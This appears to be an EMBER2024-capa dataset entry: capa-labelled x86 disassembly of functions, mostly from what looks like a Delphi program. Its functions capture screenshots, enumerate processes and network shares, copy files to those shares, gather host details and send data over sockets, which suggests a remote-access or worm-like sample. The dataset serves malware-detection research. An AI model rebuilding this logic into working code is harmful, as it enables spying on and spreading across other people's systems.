joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43239a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
xor edi, edi
cmp dword [ebp + 0x10], edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], ebx
je 0x4323d7
cmp dword [ebp + 0x14], edi
je 0x4323d7
cmp ecx, edi
jne 0x4323de
call fcn.00432e5c
push edi
push edi
push edi
push edi
mov dword [eax], 0x16
push edi
call fcn.0043591b
add esp, 0x14
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov esi, dword [ebp + 0x18]
cmp esi, edi
je 0x4323f2
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
jbe 0x432413
cmp ebx, 0xffffffff
je 0x432402
push ebx
push edi
push ecx
call fcn.0042e640
add esp, 0xc
cmp esi, edi
je 0x4323bf
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
ja 0x4323bf
mov edi, dword [ebp + 0x10]
imul edi, dword [ebp + 0x14]
test word [esi + 0xc], 0x10c
mov dword [ebp - 0x10], edi
mov ebx, edi
je 0x43242f
mov eax, dword [esi + 0x18]
mov dword [ebp - 0xc], eax
jmp 0x432436
mov dword [ebp - 0xc], 0x1000
test edi, edi
je 0x432527
test word [esi + 0xc], 0x10c
je 0x43248a
mov eax, dword [esi + 4]
test eax, eax
je 0x43248a
jl 0x432588
cmp ebx, eax
mov edi, ebx
jb 0x43245b
mov edi, eax
cmp edi, dword [ebp - 4]
ja 0x43252f
push edi
push dword [esi]
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.0042e177
sub dword [esi + 4], edi
add dword [esi], edi
add dword [ebp - 8], edi
sub ebx, edi
add esp, 0x10
sub dword [ebp - 4], edi
mov edi, dword [ebp - 0x10]
jmp 0x43251f
cmp ebx, dword [ebp - 0xc]
jb 0x4324f7
cmp dword [ebp - 0xc], 0
je 0x4324b4
mov ecx, 0x7fffffff
xor edx, edx
cmp ebx, ecx
jbe 0x4324a9
mov eax, ecx
div dword [ebp - 0xc]
mov eax, ecx
jmp 0x4324b0
mov eax, ebx
div dword [ebp - 0xc]
mov eax, ebx
sub eax, edx
jmp 0x4324bf
mov eax, 0x7fffffff
cmp ebx, eax
ja 0x4324bf
mov eax, ebx
cmp eax, dword [ebp - 4]
ja 0x43255b
push eax
push dword [ebp - 8]
push esi
call fcn.0043362f
pop ecx
push eax
call fcn.0043d046
add esp, 0xc
test eax, eax
je 0x43259a
cmp eax, 0xffffffff
je 0x432588
add dword [ebp - 8], eax
sub ebx, eax
sub dword [ebp - 4], eax
jmp 0x43251f
push esi
call fcn.0043b1d2
cmp eax, 0xffffffff
pop ecx
je 0x43258c
cmp dword [ebp - 4], 0
je 0x43255b
mov ecx, dword [ebp - 8]
inc dword [ebp - 8]
mov byte [ecx], al
mov eax, dword [esi + 0x18]
dec ebx
dec dword [ebp - 4]
mov dword [ebp - 0xc], eax
test ebx, ebx
jne 0x43243e
mov eax, dword [ebp + 0x14]
jmp 0x4323d9
xor esi, esi
cmp dword [ebp + 0xc], 0xffffffff
je 0x432546
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call fcn.0042e640
add esp, 0xc
call fcn.00432e5c
push esi
push esi
push esi
push esi
mov dword [eax], 0x22
push esi
jmp 0x4323cf
cmp dword [ebp + 0xc], 0xffffffff
je 0x432571
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call fcn.0042e640
add esp, 0xc
call fcn.00432e5c
mov dword [eax], 0x22
xor eax, eax
push eax
push eax
push eax
push eax
push eax
jmp 0x4323cf
or dword [esi + 0xc], 0x20
mov eax, edi
sub eax, ebx
xor edx, edx
div dword [ebp + 0x10]
jmp 0x4323d9
or dword [esi + 0xc], 0x10
jmp 0x43258c
Function at 0x13142a04
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebx
push esi
add esp, 0xfffffdf0
mov esi, edx
mov ebx, eax
test bl, bl
je 0x13142a41
xor eax, eax
mov al, bl
add eax, 0x41
dec eax
mov byte [esp], al
mov byte [esp + 1], 0x3a
mov byte [esp + 2], 0
lea eax, [esp + 0x109]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
push esp
call sub.kernel32.dll_SetCurrentDirectoryA
lea eax, [esp + 4]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
test bl, bl
je 0x13142a61
lea eax, [esp + 0x109]
push eax
call sub.kernel32.dll_SetCurrentDirectoryA
mov eax, esi
lea edx, [esp + 4]
mov ecx, 0x105
call fcn.131446c0
add esp, 0x210
pop esi
pop ebx
ret

Function at 0x13142c40
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.1314446c
test esi, esi
jne 0x13142c77
push 0x105
lea eax, [esp + 8]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [esp + 4]
mov eax, ebx
call fcn.1314455c
jmp 0x13142c98
call sub.kernel32.dll_GetCommandLineA
mov dword [esp], eax
mov edx, ebx
mov eax, dword [esp]
call fcn.13142adc
mov dword [esp], eax
test esi, esi
je 0x13142c98
cmp dword [ebx], 0
je 0x13142c98
dec esi
jmp 0x13142c7f
add esp, 0x10c
pop esi
pop ebx
ret

Function at 0x131432a4
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x13163008], 0x8088405
inc edx
mov dword [ebx + 0x13163008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x13143964
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x13163018]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x131439fc
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x131439dc
xor eax, eax
push ebp
push 0x131439d5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x13143a18
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x131439dc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x13163018]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x13163018], ax
mov esp, ebp
pop ebp
ret

Function at 0x131442c8
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x13164044], 0
je 0x13144329
cmp word [0x13164218], 0xd7b2
jne 0x131442f1
cmp dword [0x13164220], 0
jbe 0x131442f1
mov eax, 0x13164214
call dword [0x13164230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x13163084
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x13144350
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x13163024], 0
jne 0x13144345
push 0
push 0x1316307c
push 0x13163084
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x131453d4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x1314543a
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.131446c0
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.131433f0
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x13145424
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x13145441
lea eax, [ebp - 0x10]
call fcn.1314446c
ret

Function at 0x13147708
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x13147741
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.1314455c
jmp 0x1314774a
mov eax, ebx
mov edx, esi
call fcn.131444c0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x13147754
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x13147775
mov al, byte [esp]
jmp 0x13147777
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x13147e0c
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x13147c74
mov eax, dword [0x13163c3c]
cmp byte [eax], 0
je 0x13147e88
mov eax, dword [0x13163b90]
call fcn.13143044
call fcn.131429c8
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.13146bc8
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x13147ed0
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x13147ebe
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x13163b70]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x13164660]
call fcn.13144da4
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x1314892c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x13148990
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.131446c0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.13146958
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x13148997
lea eax, [ebp - 0xc]
call fcn.1314446c
ret

Function at 0x13149498
Capabilities:
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov edi, eax
lea ebp, [esp + 4]
xor eax, eax
mov dword [esp], eax
mov ebx, 0x4000
push 4
push 0x3000
push ebx
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp], eax
cmp dword [ebp], 0
je 0x13149518
push 0
push ebx
mov eax, dword [ebp]
push eax
push edi
call sub.ntdll.dll_ZwQuerySystemInformation
mov esi, eax
cmp esi, 0xc0000004
jne 0x131494f4
push 0x8000
push 0
mov eax, dword [ebp]
push eax
call sub.kernel32.dll_VirtualFree_1
mov eax, ebx
add eax, eax
mov ebx, eax
cmp esi, 0xc0000004
je 0x131494af
test esi, esi
jne 0x13149508
mov eax, dword [ebp]
mov dword [esp], eax
jmp 0x13149518
push 0x8000
push 0
mov eax, dword [ebp]
push eax
call sub.kernel32.dll_VirtualFree_1
mov eax, dword [esp]
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x13149608
Capabilities:
Acquire debug privileges

Disassembly:
mov edx, 0x13149618
or eax, 0xffffffff
call fcn.13149574
ret

Function at 0x1314962c
Capabilities:
Enumerate processes

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffed8
mov edi, eax
xor esi, esi
push 0
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
je 0x13149689
mov dword [esp], 0x128
push esp
push ebx
call sub.kernel32.dll_Process32First
test eax, eax
je 0x13149681
push edi
lea eax, [esp + 0x28]
push eax
call sub.kernel32.dll_lstrcmpiA
test eax, eax
jne 0x13149676
mov esi, dword [esp + 8]
push ebx
call sub.kernel32.dll_CloseHandle_1
jmp 0x13149689
push esp
push ebx
call sub.kernel32.dll_Process32Next
test eax, eax
jne 0x1314965b
xor esi, esi
push ebx
call sub.kernel32.dll_CloseHandle_1
mov eax, esi
add esp, 0x128
pop edi
pop esi
pop ebx
ret
Function at 0x131497f0
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
xor eax, eax
push ebp
push 0x131498bd
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 4]
mov edx, 0x104
call fcn.13144a1c
push 0x104
lea eax, [ebp - 4]
call fcn.13144944
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
test eax, eax
je 0x13149895
lea eax, [ebp - 8]
mov edx, 0x28
call fcn.13144a1c
lea eax, [ebp - 0x18]
mov edx, 0x28
call fcn.13144a1c
push 0x28
lea eax, [ebp - 0x18]
call fcn.13144944
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x28
lea eax, [ebp - 8]
call fcn.13144944
push eax
lea eax, [ebp - 0x1c]
push eax
mov ecx, 3
xor edx, edx
mov eax, dword [ebp - 4]
call fcn.1314494c
mov eax, dword [ebp - 0x1c]
call fcn.131448ec
push eax
call sub.kernel32.dll_GetVolumeInformationA
test eax, eax
je 0x13149895
mov ebx, dword [ebp - 0xc]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x131498c4
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.13144490
lea eax, [ebp - 8]
mov edx, 2
call fcn.13144490
ret
Function at 0x131498f0
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x1c], edx
mov esi, eax
lea edi, [ebp - 0x14]
xor eax, eax
push ebp
push 0x13149a60
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.1314446c
lea eax, [ebp - 0xc]
push eax
push 0x13149a70
push 0x80000001
call sub.advapi32.dll_RegCreateKeyA
test eax, eax
jne 0x13149a3d
mov dword [ebp - 0x18], 0x14
xor ebx, ebx
mov eax, 0x14
call fcn.131498cc
mov dword [edi], eax
jmp 0x13149a0c
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x34]
mov edx, dword [edi]
call fcn.13144648
mov ecx, dword [ebp - 0x34]
lea eax, [ebp - 0x30]
mov edx, 0x13149a9c
call fcn.13144738
mov eax, dword [ebp - 0x30]
call fcn.131448ec
push eax
push 0x80000001
call sub.advapi32.dll_RegCreateKeyA
test eax, eax
jne 0x13149a04
mov dword [ebp - 8], 0x10
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0x13149ac0
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x131499fb
mov eax, dword [edi]
push eax
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.131497f0
push eax
call fcn.1314b77f
lea eax, [ebp - 0x1c]
lea edx, [ebp - 0x2c]
call fcn.13144648
push dword [esi]
lea eax, [ebp - 0x38]
mov edx, dword [edi]
call fcn.13144648
push dword [ebp - 0x38]
push 0x13149ad8
push dword [ebp - 0x1c]
push 0x13149ae4
mov eax, esi
mov edx, 5
call fcn.131447ac
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov dword [ebp - 0x18], 0x14
inc ebx
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
mov eax, dword [edi]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegEnumKeyExA
test eax, eax
je 0x13149956
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, dword [edi]
call fcn.131498e0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x13149a67
lea eax, [ebp - 0x38]
mov edx, 3
call fcn.13144490
lea eax, [ebp - 0x1c]
call fcn.1314446c
ret

Function at 0x13149b24
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x58], ecx
ret
Function at 0x1314b938
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
xor edx, edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.131448dc
xor eax, eax
push ebp
push 0x1314ba0d
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 4]
call fcn.1314b904
mov eax, dword [ebp - 0x14]
mov al, byte [eax]
add al, 0x9f
sub al, 0x1a
jb 0x1314b98c
lea edx, [ebp - 0x18]
mov eax, dword [ebp - 4]
call fcn.1314b904
mov eax, dword [ebp - 0x18]
mov al, byte [eax + 1]
add al, 0x9f
sub al, 0x1a
jae 0x1314b9d3
mov eax, dword [ebp - 4]
call fcn.131448ec
push eax
call sub.wsock32.dll_gethostbyname
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
xor ecx, ecx
mov edx, 4
call fcn.13143284
cmp dword [ebp - 0xc], 0
je 0x1314b9e4
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0xc]
mov edx, dword [edx]
mov cl, byte [edx]
mov byte [ebp - 0x10], cl
mov cl, byte [edx + 1]
mov byte [ebp - 0xf], cl
mov cl, byte [edx + 2]
mov byte [ebp - 0xe], cl
mov al, byte [edx + 3]
mov byte [ebp - 0xd], al
jmp 0x1314b9e4
mov eax, dword [ebp - 4]
call fcn.131448ec
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1314ba14
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.13144490
lea eax, [ebp - 4]
call fcn.1314446c
ret

Function at 0x1314bad8
Capabilities:
Get hostname

Disassembly:
push ebx
add esp, 0xffffff00
mov ebx, eax
push 0xff
lea eax, [esp + 4]
push eax
call sub.wsock32.dll_gethostname
test eax, eax
jne 0x1314baff
mov edx, ebx
mov eax, esp
call fcn.13146c88
jmp 0x1314bb06
mov eax, ebx
call fcn.1314446c
add esp, 0x100
pop ebx
ret

Function at 0x1314bb10
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.131448dc
xor eax, eax
push ebp
push 0x1314bba6
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [ebp - 4]
push 0x1314bbbc
push 0x1314bbc8
lea eax, [ebp - 8]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 8]
call fcn.131446ec
push eax
mov eax, dword [ebp - 8]
call fcn.131448ec
mov edx, eax
lea eax, [ebp - 0x108]
pop ecx
call fcn.13145a34
push 0
mov eax, dword [ebp - 8]
call fcn.131446ec
push eax
lea eax, [ebp - 0x108]
push eax
push ebx
call sub.wsock32.dll_send
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1314bbad
lea eax, [ebp - 8]
mov edx, 2
call fcn.13144490
ret

Function at 0x1314bbcc
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
xor edx, edx
mov dword [ebp - 4], edx
xor edx, edx
push ebp
push 0x1314bc25
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
push pe_nt_image_headers32
lea edx, [ebp - 0x104]
push edx
push eax
call sub.wsock32.dll_recv
lea eax, [ebp - 4]
lea edx, [ebp - 0x104]
mov ecx, pe_nt_image_headers32
call fcn.131446c0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1314bc2c
lea eax, [ebp - 4]
call fcn.1314446c
ret
Function at 0x1314be2c
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe64
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.131448dc
xor eax, eax
push ebp
push 0x1314bfcd
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
call sub.user32.dll_GetSystemMetrics
mov esi, eax
push 1
call sub.user32.dll_GetSystemMetrics
mov ebx, eax
mov eax, esi
imul ebx
lea eax, [eax + eax*2]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
call fcn.131428c4
mov dword [ebp - 0x14], eax
push 0
call sub.user32.dll_GetDC
mov dword [ebp - 8], eax
push ebx
push esi
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_CreateCompatibleBitmap
mov edi, eax
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 0xc], eax
push edi
mov eax, dword [ebp - 0xc]
push eax
call sub.gdi32.dll_SelectObject
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 8]
push eax
push ebx
push esi
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.gdi32.dll_BitBlt
mov word [ebp - 0x22], 0x4d42
mov eax, esi
imul ebx
lea eax, [eax + eax*2]
add eax, 0xe
add eax, 0x2c
mov dword [ebp - 0x20], eax
mov word [ebp - 0x1c], 0
mov word [ebp - 0x1a], 0
mov dword [ebp - 0x18], 0x3a
mov dword [ebp - 0x4e], 0x2c
mov dword [ebp - 0x4a], esi
mov dword [ebp - 0x46], ebx
mov word [ebp - 0x42], 1
mov word [ebp - 0x40], 0x18
xor eax, eax
mov dword [ebp - 0x3e], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x3a], eax
xor eax, eax
mov dword [ebp - 0x2a], eax
push 0
lea eax, [ebp - 0x4e]
push eax
mov eax, dword [ebp - 0x14]
push eax
push ebx
push 0
push edi
mov eax, dword [ebp - 0xc]
push eax
call sub.gdi32.dll_GetDIBits
push edi
call sub.gdi32.dll_DeleteObject
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x19c]
call fcn.13142f94
mov edx, 1
lea eax, [ebp - 0x19c]
call fcn.131433e4
call fcn.131429c8
push 0
lea edx, [ebp - 0x22]
mov ecx, 0xe
lea eax, [ebp - 0x19c]
call fcn.13143118
call fcn.131429c8
push 0
lea edx, [ebp - 0x4e]
mov ecx, 0x2c
lea eax, [ebp - 0x19c]
call fcn.13143118
call fcn.131429c8
push 0
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x19c]
call fcn.13143118
call fcn.131429c8
lea eax, [ebp - 0x19c]
call fcn.13143138
call fcn.131429c8
mov eax, dword [ebp - 0x14]
call fcn.131428f4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1314bfd4
lea eax, [ebp - 4]
call fcn.1314446c
ret
Function at 0x1314c0f8
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 8
add esp, 0xfffff004
push eax
dec eax
jne 0x1314c101
mov eax, dword [ebp - 4]
add esp, 0xffffffec
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x8010], edx
mov dword [ebp - 0x8014], edx
mov dword [ebp - 0x8018], edx
xor edx, edx
push ebp
push 0x1314c223
push dword fs:[edx]
mov dword fs:[edx], esp
lea edx, [ebp - 4]
push edx
push eax
push 0
push 0
push 2
call sub.mpr.dll_WNetOpenEnumA
mov dword [ebp - 8], 0x400
mov dword [ebp - 0xc], 0x8000
jmp 0x1314c1dc
mov esi, dword [ebp - 8]
dec esi
test esi, esi
jl 0x1314c1dc
inc esi
lea ebx, [ebp - 0x8004]
cmp dword [ebx], 2
jne 0x1314c1c8
push dword [0x13164b14]
lea eax, [ebp - 0x8010]
push eax
lea eax, [ebp - 0x8018]
mov edx, dword [ebx + 0xc]
call fcn.13144648
mov eax, dword [ebp - 0x8018]
lea edx, [ebp - 0x8014]
call fcn.1314b904
mov eax, dword [ebp - 0x8014]
mov ecx, 0x104
mov edx, 3
call fcn.1314494c
push dword [ebp - 0x8010]
push 0x1314c23c
mov eax, 0x13164b14
mov edx, 3
call fcn.131447ac
cmp dword [ebx + 4], 0
jbe 0x1314c1d6
lea eax, [ebx - 8]
call fcn.1314c0f8
add ebx, 0x20
dec esi
jne 0x1314c168
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x800c]
push eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.mpr.dll_WNetEnumResourceA
test eax, eax
je 0x1314c159
mov eax, dword [ebp - 4]
push eax
call sub.mpr.dll_WNetCloseEnum
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1314c22a
lea eax, [ebp - 0x8018]
mov edx, 3
call fcn.13144490
ret
Function at 0x1314c240
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe1c
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x1e4], eax
mov dword [ebp - 0x1dc], eax
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1d4], eax
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x1314c40b
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
call fcn.1314c0f8
jmp 0x1314c3d8
lea eax, [ebp - 4]
push eax
mov edx, dword [0x13164b14]
mov eax, 0x1314c424
call fcn.131449d4
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [0x13164b14]
call fcn.1314494c
xor eax, eax
push ebp
push 0x1314c39e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea eax, [ebp - 0x1d4]
mov ecx, 0x1314c430
mov edx, dword [ebp - 4]
call fcn.13144738
mov eax, dword [ebp - 0x1d4]
call fcn.131448ec
push eax
lea edx, [ebp - 0x1d8]
xor eax, eax
call fcn.13142c40
mov eax, dword [ebp - 0x1d8]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
lea eax, [ebp - 0x1e0]
mov ecx, 0x1314c448
mov edx, dword [ebp - 4]
call fcn.13144738
mov eax, dword [ebp - 0x1e0]
call fcn.131448ec
mov edx, eax
lea eax, [ebp - 0x1dc]
call fcn.13144648
mov eax, dword [ebp - 0x1dc]
call fcn.1314bdf8
test al, al
je 0x1314c394
lea eax, [ebp - 0x1e4]
mov ecx, 0x1314c448
mov edx, dword [ebp - 4]
call fcn.13144738
mov edx, dword [ebp - 0x1e4]
lea eax, [ebp - 0x1d0]
call fcn.13142f94
lea eax, [ebp - 0x1d0]
call fcn.13142d30
call fcn.131429c8
mov edx, 0x1314c464
lea eax, [ebp - 0x1d0]
call fcn.13144a80
call fcn.131435d8
call fcn.131429c8
lea eax, [ebp - 0x1d0]
call fcn.13143138
call fcn.131429c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x1314c3a8
push 0x13164b14
mov edx, dword [0x13164b14]
mov eax, 0x1314c424
call fcn.131449d4
add eax, 2
push eax
mov eax, dword [0x13164b14]
call fcn.131446ec
mov ecx, eax
mov eax, dword [0x13164b14]
pop edx
call fcn.1314494c
cmp dword [0x13164b14], 0
jne 0x1314c289
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1314c412
lea eax, [ebp - 0x1e4]
mov edx, 5
call fcn.13144490
lea eax, [ebp - 4]
call fcn.1314446c
ret